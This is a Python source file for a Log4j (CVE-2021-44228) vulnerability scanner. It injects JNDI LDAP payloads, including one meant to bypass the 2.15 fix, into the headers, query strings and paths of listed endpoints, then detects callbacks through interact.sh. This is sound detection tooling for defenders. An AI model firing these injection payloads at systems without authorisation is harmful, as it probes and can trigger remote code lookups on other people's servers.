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log4scan.py
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log4scan.py
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#!/usr/bin/env python3
# coding=utf-8
import argparse
import re
import time
import uuid
from termcolor import cprint
import requests
from urllib import parse
import base64
import json
import random
import asyncio
import httpx
from uuid import uuid4
from base64 import b64encode
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
# Disable insecure SSL warning
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
DEFAULT_PAYLOADS = ["${jndi:ldap://{{URI}}}"]
BYPASS_2_15_PAYLOADS = ["${jndi:ldap://127.0.0.1#{{URI}}}"]
DEFAULT_URI = "{{HOST}}/{{ID}}"
INTERACTSH_SERVER = "interact.sh"
INTERACTSH_REGEX = re.compile("(\w)+\.\w+")
HEADERS = [
"User-Agent",
"X-Api-Version",
"Referer",
"X-Forwarded-For"
]
# Reference: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/modules/interactsh/__init__.py
class Interactsh:
def __init__(self, token=None, server=None):
rsa = RSA.generate(2048)
self.public_key = rsa.publickey().exportKey()
self.private_key = rsa.exportKey()
self.token = token
self.server = server
self.server = self.server.lstrip()
self.headers = {
"Content-Type": "application/json",
}
if self.token:
self.headers['Authorization'] = self.token
self.secret = str(uuid4())
self.encoded = b64encode(self.public_key).decode("utf8")
guid = uuid4().hex.ljust(33, 'a')
guid = ''.join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid)
self.domain = f'{guid}.{self.server}'
self.correlation_id = self.domain[:20]
self.session = requests.session()
self.session.headers = self.headers
self.register()
def register(self):
data = {
"public-key": self.encoded,
"secret-key": self.secret,
"correlation-id": self.correlation_id
}
try:
res = self.session.post(
f"https://{self.server}/register", headers=self.headers, json=data, verify=False)
if 'success' not in res.text:
cprint(f"[!] {res.text}", color="red")
except Exception as e:
cprint(f"[!] interact.sh registration failed with exception: {str(e)}", color="red", flush=True)
raise e
def poll(self):
count = 3
result = []
while count:
try:
url = f"https://{self.server}/poll?id={self.correlation_id}&secret={self.secret}"
res = self.session.get(url, headers=self.headers, verify=False).json()
aes_key, data_list = res['aes_key'], res['data']
for i in data_list:
decrypt_data = self.decrypt_data(aes_key, i)
result.append(decrypt_data)
return result
except Exception as e:
# logger.debug(e)
count -= 1
time.sleep(1)
continue
return []
def decrypt_data(self, aes_key, data):
private_key = RSA.importKey(self.private_key)
cipher = PKCS1_OAEP.new(private_key, hashAlgo=SHA256)
aes_plain_key = cipher.decrypt(base64.b64decode(aes_key))
decode = base64.b64decode(data)
bs = AES.block_size
iv = decode[:bs]
cryptor = AES.new(key=aes_plain_key, mode=AES.MODE_CFB, IV=iv, segment_size=128)
plain_text = cryptor.decrypt(decode)
return json.loads(plain_text[16:])
def build_payload(self, payload, flag):
url = f'{flag}.{self.domain}'
return build_payload(payload, url)
def get_arguments():
parser = argparse.ArgumentParser()
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-f", "--filename",
action="store",
dest="filename",
help="file to use as a source of endpoints (format IP:PORT)")
group.add_argument("-e", "--endpoint",
action="store",
dest="endpoint",
help="endpoint to test")
parser.add_argument("--http",
action="store_true",
help="Test HTTP on domains without explicit schema")
parser.add_argument("--https",
action="store_true",
help="Test HTTPS on domains without explicit schema")
payload_group = parser.add_mutually_exclusive_group()
payload_group.add_argument("-p", "--payload",
dest="payloads",
action="append",
help="add payload template to test")
payload_group.add_argument("--payload-file",
dest="payload_file",
action="store",
help="file with payload templates to test")
parser.add_argument("--host",
action="store",
default=INTERACTSH_SERVER,
dest="host",
help=f"host to send LDAP request [default: {INTERACTSH_SERVER}]")
parser.add_argument("-o", "--output",
action="store",
help="output file with vulnerable hosts",
dest="output_file")
parser.add_argument("-m", "--mappings",
action="store",
dest="mapping_file",
help="output file with ID<->Endpoint mapping")
parser.add_argument("-t", "--timeout",
action="store",
default=10,
help="request timeout [default: 10]",
dest="timeout",
type=int)
parser.add_argument("--headers-file",
action="store",
dest="headers",
help="file with a list of header to test")
parser.add_argument("--manual",
action="store_false",
dest="auto",
help="do not run automatic verification and use the simple payload instead")
parser.add_argument("--proxy",
action="store",
dest="proxy",
help="send requests through proxy")
parser.add_argument("--token",
action="store",
dest="interact_token",
help="Custom interact.sh token")
parser.add_argument("-u", "--uri",
dest="uri",
help="define custom URI format",
default=DEFAULT_URI)
parser.add_argument("--bypass-2-15",
dest="bypass215",
help="try bypass 2.15 fix using payload for CVE-2021-45046",
action='store_true')
parser.add_argument("-w", "--wait-time",
action="store",
dest="wait_time",
default=5,
type=int,
help="seconds to wait after all endpoints are tested before verifying vulnerable servers")
parser.add_argument("-v", "--verbose",
action="store_true",
dest="verbose",
help="verbose logging")
test_group = parser.add_argument_group("Tests", "[default: Headers, Query, Path]")
test_group.add_argument("--headers",
action="append_const",
dest="tests",
const="Headers",
help="test headers injection like user-agent and referer")
test_group.add_argument("--query",
action="append_const",
dest="tests",
const="Query",
help="test query injection in GET request as id parameter")
test_group.add_argument("--path",
action="append_const",
dest="tests",
const="Path",
help="test path injection")
args = parser.parse_args()
if not args.tests:
args.tests = ["Headers", "Query", "Path"]
if args.payload_file:
args.payloads = read_file_rows(args.payload_file)
if not args.payloads:
args.payloads = BYPASS_2_15_PAYLOADS if args.bypass215 else DEFAULT_PAYLOADS
return args
def read_file_rows(file):
rows = []
with open(file, "r") as f:
for i in f.readlines():
i = i.strip()
if i == "" or i.startswith("#"):
continue
rows.append(i)
return rows
def get_entries(filename):
with open(filename) as file:
lines = file.readlines()
lines = [line.rstrip() for line in lines]
return lines
def build_payload(template, uri):
return template.replace("{{URI}}", uri)
def build_uri(template, host, id):
return template.replace("{{HOST}}", host).replace("{{ID}}", id)
def generate_endpoint_id(endpoint):
return uuid.uuid4().hex
def generate_mappings(endpoints):
return {generate_endpoint_id(endpoint): endpoint for endpoint in endpoints}
async def test_entry(current, total, endpoint, payloads, id, args):
cprint(f"[*] [{current + 1}/{total}] [ID: {id}] Testing endpoint {endpoint}", "green")
for payload in payloads:
if args.verbose:
cprint(f"[%] Payload: {payload}", color="cyan")
tasks = []
async with httpx.AsyncClient(verify=False, timeout=args.timeout, proxies=args.proxy) as client:
for test_key, test_fun in TESTS_LIST:
try:
tasks.append(asyncio.create_task(test_fun(client, endpoint, payload, args)))
except Exception as e:
cprint(f"[!] [{test_key}] Test failed with: {e}", color="red")
await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED)
def get_endpoints_from_entries(entries, http, https):
endpoints = []
for entry in entries:
if entry.startswith("http://") or entry.startswith("https://"):
endpoints.append(entry)
continue
if http:
endpoints.append("http://" + entry)
if https:
endpoints.append("https://" + entry)
if not http and not https:
endpoints.append("http://" + entry)
endpoints.append("https://" + entry)
return endpoints
def log_mappings(mappings):
cprint(f"[*] Endpoint-ID mapping:", color="cyan", attrs=["bold", "underline"])
for id, endpoint in mappings.items():
cprint(f"[*] - {endpoint} -> {id}", color="white")
def generate_mapping_file(mappings, mapping_file):
with open(mapping_file, "w") as f:
f.writelines([f"{id},{endpoint}\n" for id, endpoint in mappings.items()])
def generate_result_file(endpoints, file):
with open(file, "w") as f:
f.writelines([f"{endpoint}\n" for endpoint in endpoints])
# Tests
async def test_header(client, endpoint, payload, args):
if args.headers is not None:
headers = read_file_rows(args.headers)
else:
headers = HEADERS
headers = {header: payload for header in headers}
try:
await client.get(endpoint, headers=headers)
except Exception as e:
cprint(f"[!] [Header] Error during request: {e}", color="yellow")
return
if args.verbose:
cprint("[%] [Headers] Request ended", color="blue")
async def test_get(client, endpoint, payload, args):
params = {"id": payload}
try:
await client.get(endpoint, params=params)
except Exception as e:
cprint(f"[!] [Query] Error during request: {e}", color="yellow")
return
if args.verbose:
cprint("[%] [Query] Request ended", color="blue")
async def test_path(client, endpoint, payload, args):
url = parse.urljoin(endpoint, parse.quote(payload, safe=''))
try:
await client.get(url)
except Exception as e:
cprint(f"[!] [Path] Error during request: {e}", color="yellow")
return
if args.verbose:
cprint("[%] [Path] Request ended", color="blue")
TESTS_LIST = [("Headers", test_header),
("Query", test_get),
("Path", test_path)]
def execute_manual(mappings, args):
for i, id, endpoint in [(i, elem[0], elem[1]) for elem, i in zip(mappings.items(), range(len(mappings)))]:
payloads = [build_payload(payload, build_uri(args.uri, args.host, id)) for payload in args.payloads]
asyncio.run(test_entry(i, len(mappings), endpoint, payloads, id, args))
def execute_interactsh(mappings, args):
cprint("[*] Initialize interact.sh", color="blue")
service = Interactsh(args.interact_token, args.host)
for i, id, endpoint in [(i, elem[0], elem[1]) for elem, i in zip(mappings.items(), range(len(mappings)))]:
payloads = [service.build_payload(payload, id) for payload in args.payloads]
asyncio.run(test_entry(i, len(mappings), endpoint, payloads, id, args))
print()
cprint("[*] Start verification", color="cyan", attrs=["bold", "underline"])
cprint(f"[*] Waiting {args.wait_time} seconds", color="blue")
time.sleep(args.wait_time)
cprint("[*] Pulling logs", color="blue")
logs = service.poll()
ids = {log["full-id"].split(".")[0] for log in logs if
log["full-id"] is not None and INTERACTSH_REGEX.match(log["full-id"])}
endpoints = {mappings[id] for id in ids if id in mappings}
if len(ids) > 0:
if len(endpoints) < len(ids):
cprint(f"[???] {len(ids) - len(endpoints)} missing correspondences between logs and ID", color="yellow")
if len(endpoints) > 0:
cprint("[!!!] Vulnerable endpoints found!", color="red", attrs=["bold"])
for endpoint in endpoints:
cprint(f"[!] - {endpoint}", color="red")
if args.output_file:
generate_result_file(endpoints, args.output_file)
else:
cprint("[✔] No vulnerable endpoints found!", color="green", attrs=["bold"])
def main():
args = get_arguments()
cprint("""
__ __ __
/ / ____ ____ _/ // / ______________ _____
/ / / __ \/ __ `/ // /_/ ___/ ___/ __ `/ __ \\
/ /___/ /_/ / /_/ /__ __(__ ) /__/ /_/ / / / /
/_____/\____/\__, / /_/ /____/\___/\__,_/_/ /_/
/____/
""", color="yellow")
cprint("[*] Apache Log4j CVE-2021-44228 Scanner", color="yellow")
cprint("[*] Author: Federico Rapetti <Reply Communication Valley>", color="yellow")
print()
cprint("[*] Loaded payloads:", color="cyan", attrs=["bold", "underline"])
for payload in args.payloads:
cprint(f"[*] - {payload}", color="magenta")
print()
if args.filename is not None:
entries = get_entries(args.filename)
else:
entries = [args.endpoint]
mappings = generate_mappings(get_endpoints_from_entries(entries, args.http, args.https))
log_mappings(mappings)
if args.mapping_file:
generate_mapping_file(mappings, args.mapping_file)
print("")
cprint("[*] Start testing", color="cyan", attrs=["bold", "underline"])
if args.auto:
execute_interactsh(mappings, args)
else:
execute_manual(mappings, args)
print()
cprint("[*] Execution finished!", color="cyan")
cprint("[*] Log4scan: https://github.com/fuji97/log4scan", color="cyan")
# MAIN
if __name__ == '__main__':
main()